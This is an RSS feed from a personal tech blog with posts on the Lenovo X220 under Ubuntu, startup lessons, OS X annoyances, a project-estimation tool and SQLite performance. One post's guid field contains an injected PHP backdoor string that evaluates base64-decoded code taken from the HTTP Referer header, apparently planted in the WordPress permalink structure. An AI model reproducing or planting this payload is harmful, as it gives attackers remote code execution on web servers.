<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Six Software Products in One Year</title>
	<link>http://www.sixproducts.com</link>
	<description>Can you build a self-sufficient Micro-ISV in one year?</description>
	<pubDate>Wed, 13 Jul 2011 00:35:52 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<item>
		<title>A few notes on the Lenovo X220</title>
		<link>http://www.sixproducts.com/2011/07/13/a-few-notes-on-the-lenovo-x220/</link>
		<comments>http://www.sixproducts.com/2011/07/13/a-few-notes-on-the-lenovo-x220/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 00:35:52 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/2011/07/13/a-few-notes-on-the-lenovo-x220/</guid>
		<description><![CDATA[I ordered off an eBay seller in the US. Lenovo Australia doesn&#8217;t even list the X220 yet (and they charge almost double what eBay sellers do.) So far, I&#8217;ve ordered one laptop from Lenovo directly and two from eBay sellers. So far, eBay is much cheaper and a little faster, despite this one getting stuck [...]]]></description>
			<content:encoded><![CDATA[<p>I ordered off an eBay seller in the US. Lenovo Australia doesn&#8217;t even <em>list</em> the X220 yet (and they charge almost double what eBay sellers do.) So far, I&#8217;ve ordered one laptop from Lenovo directly and two from eBay sellers. So far, eBay is much cheaper and a little faster, despite this one getting stuck in Customs for about a month.</p>
<p>It&#8217;s damn fast, and I can&#8217;t explain why. My T410 had a first-gen i5 and NVIDIA graphics. This has a second-gen i5 and Intel 3000, but once I stick in my LUKS password, it takes about a <em>second</em> to reach the login screen.</p>
<p>I&#8217;m running Ubuntu Natty. All of the hardware just works. Suspend doesn&#8217;t, despite what&#8217;s listed on the Ubuntu Wiki, but installing PPA kernel 2.6.39rc4 fixes things. VMware doesn&#8217;t work with this kernel, but the patch on <a href="http://weltall.heliohost.org/wordpress/2011/05/14/running-vmware-workstation-player-on-linux-2-6-39-updated/">this page</a> fixes <em>that</em>.</p>
<p>I still get the occasional hard lock or failure to wake from suspend. The graphics driver seems to be the cause of most problems. There are occasional glitches like when opening the screen, occasionally you get random patterns (though the mouse pointer looks sane.) Switching to the console and back sometimes fixes it; closing the lid and opening sometimes fixes it; suspending and resuming sometimes fixes it, but just <em>occasionally</em>, I have to reboot. I&#8217;ve never had random patterns on the DisplayPort, only the internal screen.</p>
<p>The IPS screen (&#8221;HD Premium&#8221;) looks <em>amazing</em>, even better than my MacBook Pro thanks to the matte filter. There isn&#8217;t great mechanical isolation between the frame and the screen, so you get shimmering effects if you twist the screen or press the edges. The 16:9 ratio isn&#8217;t ideal, but it fits side-by-side 80 column terminal/gvim with Terminus 12, and that covers 90% of my usage.</p>
<p>The backlight&#8217;s LED PWM controller runs at a sometimes-visible frequency. Seriously, people, 500Hz plus. There&#8217;s no good reason for LEDs to visibly flicker, EVER. Protip: if you run them at a constant current, you&#8217;ll achieve even better efficiency, and that means free battery life.</p>
<p>The keyboard feels a bit better than the T410; less mushy. They must be changing the keyswitches or something between models, because it looks almost identical physically.</p>
<p>There&#8217;s no eSATA port on the machine, but it does work through the dock.</p>
<p>DisplayPort works through the dock, too, unlike the T410. DisplayPort works happily with the 2560&#215;1440 monitor at work.</p>
<p>When you plug in a DisplayPort monitor, it shows up instantly (and potentially switches it on.) This is a massive improvement over mouse clicking through the NVIDIA control panel. xrandr &#8211;auto works, as it should.</p>
<p>The VGA output is reported to not work, but I had no issues. I finally have full-screen Flash videos. They didn&#8217;t work on NVIDIA. I <strong>don&#8217;t</strong> have 3D acceleration in VMware, apparently, but who cares?</p>
<p>The ThinkLight is brighter than before, but one must ask the question: who cares? You have a screen illuminating the keyboard or reading material or whatever. I suppose you could turn off the screen and use the ThinkLight while reading a book, but a $5 book light will achieve the same function and not run down your laptop battery. Remove it and add an ambient light sensor; they&#8217;re useful <em>and</em> save battery power.</p>
<p>I&#8217;m hitting the touchpad a bit with my palm. Will probably disable it.</p>
<p>The integrated buttons thing doesn&#8217;t really work. I mean, yeah, there&#8217;s clearly not enough room there for buttons. But the moment you touch the button like you&#8217;re going to press it, the pointer jitters all over the place. This makes it tough to actually click anything, which is sort of the point of having buttons. I recommend just using the upper buttons and ignoring the integrated buttons. Having the integrated buttons there is no worse than leaving them off, but this shouldn&#8217;t have made it into the product. The HP Mini puts the buttons on the sides of the touchpad, and that works pretty well; I think that Lenovo should do the same thing on the X220++.</p>
<p>One <em>baffling</em> bug that I&#8217;ve experienced is that my Windows virtual machines won&#8217;t start (&#8217;Unable to change virtual machine power state: Cannot find a valid peer process to connect to&#8217;) if the machine is in the dock. I have to undock, start the VMs and plug it back in.</p>
<p>I had a <strong>lot</strong> of trouble getting the thing to boot. For a few weeks, I carried around a USB stick with the System Rescue CD on it, just in case I needed to reboot. (Combined with not working out the suspend problem for a while, I was just leaving the machine running in my backpack for extended periods.) The X220 uses the newer EFI firmware standard, and it appears that Lenovo&#8217;s implementation won&#8217;t legacy boot from a GPT-partitioned disk. No idea why &#8212; the T410 is perfectly happy with this arrangement. Once I worked that out, I converted back to MBR (gdisk makes this fairly safe), reinstalled GRUB, and things started working.</p>
<p>I did spend a lot of time trying to make it boot in EFI mode. I could get both GRUB2 and ELILO to start up, but the moment they tried to execute the kernel, nothing. ELILO would reboot and GRUB2 would just hang. Natty is not really set up for EFI booting. There&#8217;s no consistent mount point for the EFI System Partition, so kernel updates are likely to fail, and building a startup disk yields an EFI-style startup disk that doesn&#8217;t work, either.</p>
<p>Battery life is fantastic - with the 90W battery, 11 hours is quite achievable, more if you dim down the screen and turn off WiFi. Of course, with the 90W battery, it feels like you&#8217;re carrying just the battery and there happens to be a screen hanging off it. Following the suggestions in Powertop helps a lot. There&#8217;s a <a href="http://code.google.com/p/chromium/issues/detail?id=77625">nasty bug in Chrome</a> which ruins battery life - it incrases power consumption from about 8W to 16W (i.e. you will achieve <em>half</em> of your battery life, or <em>just running Chrome</em> is <em>doubling</em> the machine&#8217;s power consumption.) Firefox doesn&#8217;t have this problem, but Firefox renders a lot of stuff strangely on Linux, so I guess I&#8217;ll live with it for now.</p>
<p>I had a bit of trouble finding out what the wireless card was from the eBay seller - he just said &#8216;wireless N&#8217; when I asked (repeatedly.) It is a:</p>
<pre>
    03:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8188CE 802.11b/g/n WiFi Adapter (rev 01)</pre>
<p>It continues Realtek&#8217;s fine tradition of making really fucking awful network cards. When copying a large file, it reads less than 1MB/sec and jumps around a lot. Sending a file gets peaks of 3MB/sec then drops to near-zero for a while. This is noticeable during <em>web browsing</em>, where if you load a bunch of pages at once the whole lot will stop.</p>
<p>I swapped in the wireless card (Intel Ultimate-6300) from my T410 and things are much better - 5MB/sec down, no pauses. I realised that I don&#8217;t have the white MIMO antenna cable - I didn&#8217;t think to order a 3&#215;3 WiFi antenna. I&#8217;m not sure why it&#8217;s an optional extra, especially as the WWAN antennae are always installed. I connected one of the WWAN antennae to the MIMO socket and it bumped throughput to about 7MB/sec, which I&#8217;m happy with. Lesson learned: don&#8217;t cheap out on the wireless card or antennae. I&#8217;m pretty sure that the eBay seller removed the original card and sold it separately &#8212; the same happened with my X61s, and I&#8217;m doing the same with the T410 when <em>I</em> sell it.</p>
<p>When I reassembled the machine after messing with the WiFi cards, I had trouble getting the right-hand edge of the palmrest to sit flat. It turns out that the antenna cables taped just underneath had shifted. There&#8217;s no hook or plastic to hold them in position; you just have to tape them in the right spot to line up with the channel in the palmrest.</p>
<p>Interestingly, the WLAN LED works with the Intel card, where it didn&#8217;t on the Realtek. It is a bit distracting when watching movies in the dark.</p>
<p>The 7mm high drive bay (instead of the usual 9mm) could be a problem for some. It doesn&#8217;t bother me so much as I use Intel SSDs. With the 80GB MicroSSD option, though, I can see the sense in installing a huge spinning disk and using the 80GB to boot from. Except that there aren&#8217;t really any huge 7mm drives. So an SSD is your best bet, both on capacity and performance grounds (the 300 and 600GB G3 models both cost less than my 160GB G2&#8230;) The main place where I expect it to bite me is if I have a drive failure and need to buy/install something <strong>fast</strong>; I can&#8217;t just buy a drive from any old computer store, whack it in and restore from backups. I need to have the drive that shipped with the machine.</p>
<p>To handle this, I installed the shipping drive in an eSATA drive box. I have my root partition (LUKS-encrypted, including /home) set up as a RAID1. When I get to work, I hot-add the external drive to the RAID. It background syncs; when it&#8217;s complete, I can (theoretically) remove the drive from the box and plug it directly into my laptop to replace the failed SSD. The external drive is a lot slower than the SSD (due to the drive itself, not the interface) so I use the &#8211;write-mostly parameter to mdadm. It still slows things down a little, but it&#8217;s rarely an issue.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2011/07/13/a-few-notes-on-the-lenovo-x220/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dear Ian, next time you start a company:</title>
		<link>http://www.sixproducts.com/2011/07/05/dear-ian-next-time-you-start-a-company/</link>
		<comments>http://www.sixproducts.com/2011/07/05/dear-ian-next-time-you-start-a-company/#comments</comments>
		<pubDate>Tue, 05 Jul 2011 01:33:23 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Business]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/2011/07/05/dear-ian-next-time-you-start-a-company/</guid>
		<description><![CDATA[
Get a work mobile. Do not hand out your personal mobile phone number. Use a relaxing ringtone or keep it on silent.
Don&#8217;t delay returning calls. Address problems immediately rather than letting them linger.
Put agreements in writing.
Don&#8217;t overspend on equipment, infrastructure, office space or settings up companies. They&#8217;re a pleasant distraction; your goals should be (1) [...]]]></description>
			<content:encoded><![CDATA[<ol>
<li>Get a work mobile. Do not hand out your personal mobile phone number. Use a relaxing ringtone or keep it on silent.</li>
<li>Don&#8217;t delay returning calls. Address problems immediately rather than letting them linger.</li>
<li>Put agreements in writing.</li>
<li>Don&#8217;t overspend on equipment, infrastructure, office space or settings up companies. They&#8217;re a pleasant distraction; your goals should be (1) make sales, and (2) deliver.</li>
<li>Use some discretion when accepting clients. Many of them aren&#8217;t worth the effort.</li>
<li>Try to arrange a support contract or similar instead of being on-call.</li>
<li>Don&#8217;t be ashamed to charge money for your work.</li>
<li>Don&#8217;t get confused between fun work and billing work.</li>
<li>Have a life outside of work.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2011/07/05/dear-ian-next-time-you-start-a-company/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dumb Shit That OS X Does</title>
		<link>http://www.sixproducts.com/2011/03/15/dumb-shit-that-os-x-does/</link>
		<comments>http://www.sixproducts.com/2011/03/15/dumb-shit-that-os-x-does/#comments</comments>
		<pubDate>Mon, 14 Mar 2011 23:48:16 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/2011/03/15/dumb-shit-that-os-x-does/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[90% of OS X is great. Every day when I open my laptop and the wireless network connects within seconds, without me needing to dick around, it makes me happy.
It&#8217;s that last 10% that is hopelessly retarded, and I want someone to fix it.
Terrible window management
The window management is atrocious. Their design is application-centric: to [...]]]></description>
			<content:encoded><![CDATA[<p>90% of OS X is great. Every day when I open my laptop and the wireless network connects within <i>seconds</i>, without me needing to dick around, it makes me happy.
<p>It&#8217;s that last 10% that is hopelessly retarded, and I want someone to fix it.<br />
<h3>Terrible window management</h3>
<p>The window management is <i>atrocious</i>. Their design is application-centric: to get a document, you switch to the application, then switch to the document. The way I work is task-focused: I have a bunch of windows from different applications all open in the same screen. If I have to switch tasks, I open up another screen (whether by switch VTs, spaces, window groups, tags, whatever). Spaces in Snow Leopard is absolutely useless.
<p>The best way I have to work around this at the moment is to define a keyboard shortcut for each application that I use frequently. I still have to switch documents <b>within</b> the app, but it&#8217;s a little less painful.
<p>The application layer architecture bites me in many other ways. If you close all of the documents, it&#8217;s not immediately obvious that you&#8217;re still in the same application. Instead, some other application&#8217;s window will be on top, and you&#8217;ll absent-mindedly press a keyboard shortcut which will go to the wrong place. Furthermore, an application which has no open documents will still appear in the Command-Tab list, cluttering up an already uselessly cluttered list. There is no good reason to keep an app around which has no open documents. Quit them.<br />
<h3>No keyboard shortcuts to launch applications</h3>
<p>Why isn&#8217;t this built in? I have to use Quicksilver, which is unsupported and rather buggy on Snow Leopard. I can redefine individual shortcuts within an application, but not something <b>useful</b>.</p>
<h3>Can&#8217;t remap Caps Lock key to anything useful</h3>
<p>I want it to be Escape. But seriously, Apple are in the best position of any computer vendor to change the Caps Lock key to something useful. Why not remove it? Make it Command by default? Make it Expose by default, if you have to. There is no good reason to leave it on a keyboard any more.
<p>PCKeyboardHack works consistently on the internal keyboard, once you set the Caps Lock action to &#8216;None&#8217; in Keyboards->Modifiers. Unfortunately, this doesn&#8217;t extend to the Bluetooth keyboard, and I have to double-tap Caps Lock every time.<br />
<h3>Home and End behaviour differs for every application</h3>
<p>As far as I can tell, Home and End are meant to go to the start and end of the document.
<p>Unfortunately, this is not very useful to most people. The other platforms use it to go to the start and end of the <b>line</b>, and OS X has no consistent way to do this.
<p>Worse, some applications make Home/End work on the line, but don&#8217;t handle modifiers correctly. Case in point: Google Chrome, which I&#8217;m writing this in, will do start/end of line if you press Home/End unmodified, but if you hold Shift to <b>select</b> to the start/end of the line, it will select from the cursor to the end of the document. This behaviour alone has caused me to swear out loud about a dozen times in the last hour.
<p>Office for OS X does sensible things with Home, End and Control. Thankyou, Microsoft.</p>
<h3>FileVault is only on your home directory</h3>
<p>There is no compelling FDE alternative (yes, I know about PGP, and I stand by my statement). OS X is the only platform without a free, performant FDE implementation.</p>
<h3>Time Machine is useless with FileVault</h3>
<p>If you&#8217;re using FileVault, Time Machine won&#8217;t back up until you log out. I log out maybe once a month. This makes Time Machine rather useless to me. The reasons <i>why</i> elude me &#8212; can&#8217;t Time Machine just run on the encrypted filesystem like any other filesystem?
<p>The best solution I&#8217;ve come up with is the same as I used on Linux, but involves more manual labour &#8212; rsync to a removable encrypted disk. Yay, command line!<br />
<h3>Deleting files in a FileVault volume doesn&#8217;t recover any disk space</h3>
<p>Your disk space doesn&#8217;t come back until you log out. Worse, the &#8216;recovery&#8217; process only runs if you&#8217;re connected to AC power. This is especially annoying on laptops, exactly where you are most likely to want FileVault.
<p>I could sort of understand if this only impacted other users (i.e. the sparsefiles needed to be defragmented and removed,) but it applies to the FileVault user as well. Surely it&#8217;s just a plain old filesystem in there?
<p>Or, perhaps, it&#8217;s just the reporting that is off. No matter what I add or delete or empty trash, I still have 6.36GB free.
<p>Seriously, a proper FDE implementation would fix a <b>lot</b> of these issues, and help me sleep easier at night. Apple, please stop adding dodgy hacks to the massive duct tape bodge job that is FileVault.</p>
<h3>The screen doesn&#8217;t open very far</h3>
<p>Sucks for viewing in bed. Sucks for use on a desk. Sucks for use on your lap. Why restrict this? Supposedly, it interacts with the heat vent, but there are other scenarios where you&#8217;re allowed to run the machine closed.</p>
<h3>File Sharing is seriously crippled</h3>
<p>No read-only shares. No hidden shares. Windows 95 had more flexibility. You can make it do what you want, but you have to dick around with the Samba config.
<p>I&#8217;m also not 100% on this, but if a client tries to modify something it&#8217;s not allowed to, OS X says &#8220;yeah, I just did that think you asked&#8221; instead of saying &#8220;no, you&#8217;re not allowed&#8221;. This confuses the shit out of pretty much every client implementation, including other OS X machines.</p>
<h3>No WWAN</h3>
<p>WWAN has only been cheap and near-standard on laptops for 5 years now. Why have it on the iPad but not the MacBook Pro? I need WWAN more than I need Thunderbolt.</p>
<h3>No &#8216;brief list&#8217; option in Finder</h3>
<p>MacOS has had this since the beginning of time. It&#8217;s the only useful layout. Why take it out?
<p>You can bodge the settings on Icon View to do something similar (set icon size to 16&#215;16, set text position to Right, set grid spacing to Maximum) but then you can&#8217;t use Icon View. It also doesn&#8217;t resize to show the whole filename length, and you have to use Command-O to open an item instead of Enter. Would a fourth menu option really be that bad?</p>
<h3>Focus on Finder columns isn&#8217;t clear</h3>
<p>I just clicked a folder. If I Paste some files, will the files go at the same level as the folder or inside the folder? Perhaps I&#8217;ll just drop to the Terminal and do it there, where it&#8217;s safe.</p>
<h3>Can&#8217;t disable sleep</h3>
<p>One of the things that I find funniest about corporate life is watching people trying to carry their laptops without closing them.
<p>They drop them. They put papers in the middle. They dangle them in precarious positions. All because they can&#8217;t close the lid without sleeping the laptop.
<p>InsomniaX is solving this well enough for now, but it&#8217;s still dumb. In my Linux-using days, I <b>never</b> had the laptop sleep automatically &#8212; only when I explicitly asked for it with a key combination. It worked very well.</p>
<h3>Windows can only resized with the lower-right thingy</h3>
<p>This is especially dumb when you get applications - like Quicktime - which open windows which are larger than the screen. You can&#8217;t move the window far beyond the screen limits, Zoom only makes it larger and you can&#8217;t resize it because you can&#8217;t reach the Resize widget. So you can never interact with the lower and right-hand edges of the window. Sigh.</p>
<h3>Copying a lot of files will block and fail totally if any single file cannot be copied</h3>
<p>Windows does this too, and it&#8217;s a huge pain. Imagine you have to copy a lot of files. You start the copy and walk away. You come back an hour later expecting your copy to be done, and then see that a minute in, OS X decided it couldn&#8217;t read <i>one</i> of the files, so it threw its hands up and said &#8220;nup, I clearly don&#8217;t know what to do about <i>everything else</i>, since they&#8217;re all dependent on this <i>one</i> file.&#8221; Lazy piece of shit.</p>
<h3>Lock dialog doesn&#8217;t cover the screen</h3>
<p>WTF? This is a serious security problem. Half of the time I lock my screen, walk away, come back, wiggle the mouse and my screen is totally visible and able to be interacted with, with the Password dialog sitting on top. Apparently, Apple never considered that someone might *move it out of the way* before proceeding to ravage my hard drive for valuable data.</p>
<h3>Font rendering</h3>
<p>Yes, hinted text is a bit less accurate. But non-hinted text looks like ass. Hairy man ass. At least give me the option and reduce my eyestrain.
<p>Not that it&#8217;s totally relevant, but this is especially annoying on the iPad, which:</p>
<ol>
<li>is frequently used for reading stuff off the screen, and
<li>is generally not used for high-precision typographic output
</ol>
<p>so you have a great deal to gain by enabling hinting and nothing to lose. I will pay money for a good-quality iPad PDF reader with hinted font rendering.
<p>I could live with this more if the MacBook Pro 13&#8243; had a higher-resolution screen. For some reason, the MacBook Air 13&#8243; got a higher-res screen and the Pro didn&#8217;t. Unfortunately, the Air is limited to 4GB of RAM, and the 15&#8243; Pro is too heavy, so I&#8217;m stuck with crappy text.</p>
<h3>External monitors</h3>
<p>I don&#8217;t think anyone at Apple actually uses external monitors with their laptops. Which is surprising, because the displays look very well designed.
<p>If you plug in a monitor and set it to Mirror, you can&#8217;t increase the resolution beyond that of the internal display. Which makes Mirror as useful as a bicycle to a fish.
<p>You can&#8217;t disable the internal screen by any sensible means. Instead, you have to jump through some retardedly arbitrary hoops, like so:</p>
<ol>
<li>Sleep your Mac. Already, this is a bad start.
<li>Plug in the power and monitor. Note that this doesn&#8217;t work without the power plugged in, which eliminates another very useful use case (laptops with the screen turned off can easily last through the work day).
<li>Plug in a USB device. Doesn&#8217;t matter what it is. The laptop will wake up.
<li>You can now open the laptop and reconstruct all of the state that you lost when you put it to sleep in Step 1.
</ol>
<p>Don&#8217;t let the screen go to sleep. This includes locking it. If you do so it will redetect all of the screens and turn the internal screen on again.
<p>But wait a minute, you&#8217;re asking. Why not just enable both screens? I&#8217;m glad you asked.
<p>You still only get a single active application layer. This means that if you put an application on the secondary monitor and want to open a menu, you have to move the mouse all the way to the other screen to do so. Infinitely high menu bar, my ass.
<p>You can have an application on each screen and send keystrokes to the wrong one. OS X doesn&#8217;t have a consistent &#8216;focus&#8217; concept, so you pretty much have to refer to the menu bar. Which will be on the wrong screen. Command-Q-ing the wrong application gets old quickly.
<p>If you&#8217;re working on the second monitor and hit Command-Tab, the switcher will appear on the first monitor. But your mouse is still on the second monitor, so you have to move it all the way across again.
<p>The Dock also does some funny stuff, but why would you use it?</p>
<h3>Terminal steals Page Up/Down</h3>
<p>Linux - and now everyone - uses Shift-PageUp and Shift-PageDown to scroll the window. PageUp and PageDown are sent to the terminal. Why do it differently?</p>
<h3>The Zoom button is useless</h3>
<p>Every application does something different with this button. Word shrinks the window to be one page wide (i.e. half of your screen.) iTunes (yuck!) goes to tiny mode. Preview does the correct thing, thank heavens, and that is to take up the whole damn screen.
<p>It&#8217;s tiny and has no keyboard shortcut, or even a key sequence like Windows&#8217; Alt-Space-N.
<p>The resize handle is tiny, so manually zooming is a slow process.
<p>Sheesh.</p>
<h3>There&#8217;s no Cut option in the Finder</h3>
<p>The option is tantalisingly greyed out, but you can never use it. Apparently, you&#8217;re supposed to copy the files, wait until it&#8217;s done and safe, then delete your originals.
<p>I bypass the whole Finder mess by using muCommander, which sensibly allows one to move files.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2011/03/15/dumb-shit-that-os-x-does/feed/</wfw:commentRss>
		</item>
		<item>
		<title>&#8216;gest&#8217; project progress estimation tool</title>
		<link>http://www.sixproducts.com/2008/09/06/gest-project-progress-estimation-tool/</link>
		<comments>http://www.sixproducts.com/2008/09/06/gest-project-progress-estimation-tool/#comments</comments>
		<pubDate>Sat, 06 Sep 2008 04:27:03 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/68/gest-project-progress-estimation-tool/</guid>
		<description><![CDATA[Something I&#8217;ve been tinkering with in spare time is a tool to help answer the interminable question, &#8220;when will it be done?&#8221; (closely related to &#8220;are we there yet?&#8221;)
Scarily enough, I could not find a single project management tool that would work this out for me. Sure, you can go and work out your dependency [...]]]></description>
			<content:encoded><![CDATA[<p>Something I&#8217;ve been tinkering with in spare time is a tool to help answer the interminable question, &#8220;when will it be done?&#8221; (closely related to &#8220;are we there yet?&#8221;)</p>
<p>Scarily enough, I could not find a single project management tool that would work this out for me. Sure, you can go and work out your dependency graph and schedule holidays and make pretty charts that say when various features should be done, but at the end of the day, you have a big elaborate guess that has no bearing on reality.</p>
<p>gest, which started life as &#8216;est&#8217; and which I tweaked to make a pun on &#8216;guessed&#8217;, simply tries to figure out when a project will be complete. It does this by measuring your actual progress over time. If you&#8217;re getting through 10% of a project each day, you can reasonably assume that in 10 days your project will be complete. If your project&#8217;s scope is increasing faster than you&#8217;re completing it, you will have negative progress, and so you will never complete it. The following graph (produced by gest) may help to illustrate this better:</p>
<p><a href="http://www.sixproducts.com/wordpress/wp-content/uploads/schedule.png" title="schedule.png"><img src="http://www.sixproducts.com/wordpress/wp-content/uploads/schedule.thumbnail.png" alt="schedule.png" /></a></p>
<p>One nice thing about this is that you don&#8217;t have to worry about estimate accuracy, weekends, holidays, part-timers, tasks which distract you from your project, juggling multiple projects, and so on. None of it matters. All that gest is saying is <strong>for every day, on average, you complete x hours from your schedule. There are y hours total, so you will complete the project in y/x days. </strong>If the schedule changes, your y value will change along with the completion estimate. If you&#8217;re distracted by an emergency or another project, your x rate will change, and the completion estimate will be revised.</p>
<p>The output from the command line boils things down a little more:</p>
<pre>BLSA licensing and encryption will finish on 2008-11-02 13:59:39; we're getting through 1.47hpd
Estimation tool will finish on 2008-09-07 23:49:00.666667; we're getting through 3.52hpd
Get your CISSP will finish on 2009-01-15 21:00:18; we're getting through 0.82hpd
BLSA autobuild system will NEVER finish.
SyncDroid Alpha Release will NEVER finish.
Aggregate work-rate is 5.90hpd</pre>
<p>&#8216;hpd&#8217; is a bastardisation of &#8216;hours per day&#8217; and is a rough measure of how quickly a project is being completed. Note that the total work rate of 5.9hpd makes me feel a lot better about these projects taking so long (I can see that I&#8217;m not slacking off!) and doesn&#8217;t account for smaller projects which I don&#8217;t bother putting into this system.</p>
<p>Effectively, gest is decoupling the idea of an <em>hour</em> (used to represent work to be completed) from the time measurement of an hour. This is why I quote &#8216;hours&#8217; in the graph. When you see 80 hours left on my SyncDroid schedule, that doesn&#8217;t mean that if I pulled two solid weeks of work I could have it finished. What is relevant is that over the past two months, the amount of work remaining has actually <strong>increased</strong> as I come up with new requirements and don&#8217;t complete any old ones, and so it doesn&#8217;t look like I&#8217;ll ever finish it (eek!)</p>
<p>Writing a schedule for gest roughly mirrors writing a todo list. I&#8217;ve moved to gest schedules as my primary project task-tracking system. It&#8217;s a simple text file that looks like so:</p>
<pre># Probably shouldn't let people see this list</pre>
<pre>Take over the world!</pre>
<pre>    4 Call the president</pre>
<pre>    Raise a military</pre>
<pre>        2 Buy military fatigues from an army surplus store</pre>
<pre>        3 Recruit people at the supermarket</pre>
<pre>        1 Find some stray cats with sharp claws</pre>
<pre>    1 Pick up milk on the way home</pre>
<p>It&#8217;s just a hierarchical tree using indentation to denote depth, the same way as Python code. &#8216;Take over the world!&#8217; is the project&#8217;s name, and should not be indented. Comments start with #. The numbers before task names are the number of hours required. You can hide a project from the graph by prepending its name with a hyphen (-). When you complete a task, put a period before its name or just delete it from the list.</p>
<p>Each time you run gest, it will take your current schedule, add it to a history database and regenerate the progress graph, which is displayed as a PDF. The overall stats (expected completion date and work rates) are printed on the command line.</p>
<p>gest depends on <a href="http://dev.nullcube.com/">tinytree and pry</a> from the awesome security geeks at <a href="http://nullcube.com">Nullcube</a>. The rest of the dependencies are fairly standard. Grab it from the git repository at:</p>
<pre>git clone http://git.mutexlabs.com/gest</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.sixproducts.com/2008/09/06/gest-project-progress-estimation-tool/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Data storage and performance</title>
		<link>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/</link>
		<comments>http://www.sixproducts.com/2008/06/22/data-storage-and-performance/#comments</comments>
		<pubDate>Sun, 22 Jun 2008 01:57:15 +0000</pubDate>
		<dc:creator>Ian</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.sixproducts.com/67/data-storage-and-performance/</guid>
		<description><![CDATA[I&#8217;m finally getting SyncDroid to the point where I can start testing some of my initial assumptions about the project:

Scanning while idle will not cause perceptible slowdown to the user
There is enough idle time on a typical desktop session to get useful work done

Without these, I&#8217;m stuck writing an ordinary file synchronizer (or a slow [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m finally getting SyncDroid to the point where I can start testing some of my initial assumptions about the project:</p>
<ul>
<li>Scanning while idle will not cause perceptible slowdown to the user</li>
<li>There is enough idle time on a typical desktop session to get useful work done</li>
</ul>
<p>Without these, I&#8217;m stuck writing an ordinary file synchronizer (or a slow one) and that&#8217;s not really worthwhile to me.</p>
<h3>PySQLite Bad. APSW Good.</h3>
<p>One of the big question marks has always been &#8216;how am I going to store the data on disk?&#8217; Most other programs with this requirement use Berkeley DB or SQLite. As I&#8217;ve previously mentioned, SQLite can be fast <em>if you&#8217;re intelligent about it</em>. That said, I&#8217;ve never used a large SQLite database - anything past about 10,000 rows. Performance issues will show up well before that if you&#8217;re doing something silly (like starts-with queries on a string column).</p>
<p>I want to use an external database for the data integrity features. People will unplug USB drives mid-transaction and I don&#8217;t want that to trash my entire data store.</p>
<p>I started out using SQLite and common ORMs to simplify the database implementation. Skipping over a few frustrating days of development, I came to the following conclusions:</p>
<ul>
<li>Most ORMs will not let you access multiple physical databases at the same time - they implicitly store a reference back to the database. This is no good for me, because I have databases on the host and on any USB drives that get connected. This ruled out Autumn, which was looking beautifully simple.</li>
<li>Storm&#8217;s SQLite transaction behavior is a bit weird - weird enough to be unusable. They do document it, thankfully, and the codebase is very clean, so it&#8217;s likely I&#8217;ll use it in future (non-SQLite) projects. These problems are mostly because:</li>
<li>PySQLite completely mangles SQLite&#8217;s transaction model. Seriously, guys. SQLite is not <em>typical</em> as far as SQL databases go, but its behaviour is very well documented and not difficult to understand. If you&#8217;d just <em>butt out</em> and let SQLite do its thing, you&#8217;d be fine, but noooo, you gotta be clever about it&#8230;</li>
</ul>
<p>Aaanyway, this rules out anything based on PySQLite as an ORM. Which means <em>everything</em>. So I wrote my own using <a href="http://code.google.com/p/apsw/">APSW (Another Python SQLite Wrapper)</a>. This turned out to not be a big deal - the operations I perform on the database are quite simple by design. Once I worked out a schema bug, this worked beautifully.</p>
<h3>Performance</h3>
<p>My use case for this application is:</p>
<ul>
<li>My maildirs (170,000 files)</li>
<li>A Buildroot repository (240,000 files)</li>
<li>A new OpenEmbedded repository (80,000 files)</li>
<li>My git repositories (15,000 files)</li>
<li>Personal data and records (15,000 files)</li>
</ul>
<p>I do not intend to be kind to my own software.</p>
<p>Right away, I noticed I was hitting the 120-transactions-per-second issue in SQLite (linked to fsync() and the rotational rate of 7200RPM drives - this is on my laptop). No big deal. It&#8217;s still pretty quick.</p>
<p>(I actually have concerns about USB flash drives due to their extremely slow fsync() performance - depending on the filesystem, it might require a few erases/rewrites. Erases are horrendously slow on flash devices, which is why a lot of people are seeing poor write performance on SSDs).</p>
<p>I left it overnight to scan my data. When I got up, we were up to 140,000 files and adding maybe three per second instead of thirty. Grr. (On the upside, Python is not immediately a performance issue. Take that, C++ coders!)</p>
<p>In a past life, I was a <a href="http://sensorynetworks.com/">performance geek</a>. I heart oprofile. The results:</p>
<pre>      samples|      %|
    ------------------
        66522 88.5084 libsqlite3.so.0.8.6
         3963  5.2728 libpthread-2.7.so
         3247  4.3202 python2.5</pre>
<p>I took a shower, realized that I hadn&#8217;t added appropriate indexes to the tables, and retested:</p>
<pre>  samples|      %|
------------------
    81119 99.5264 no-vmlinux
      105  0.1288 python2.5
    CPU_CLK_UNHALT...|
      samples|      %|
    ------------------
           40 38.0952 libsqlite3.so.0.8.6
           30 28.5714 libpthread-2.7.so
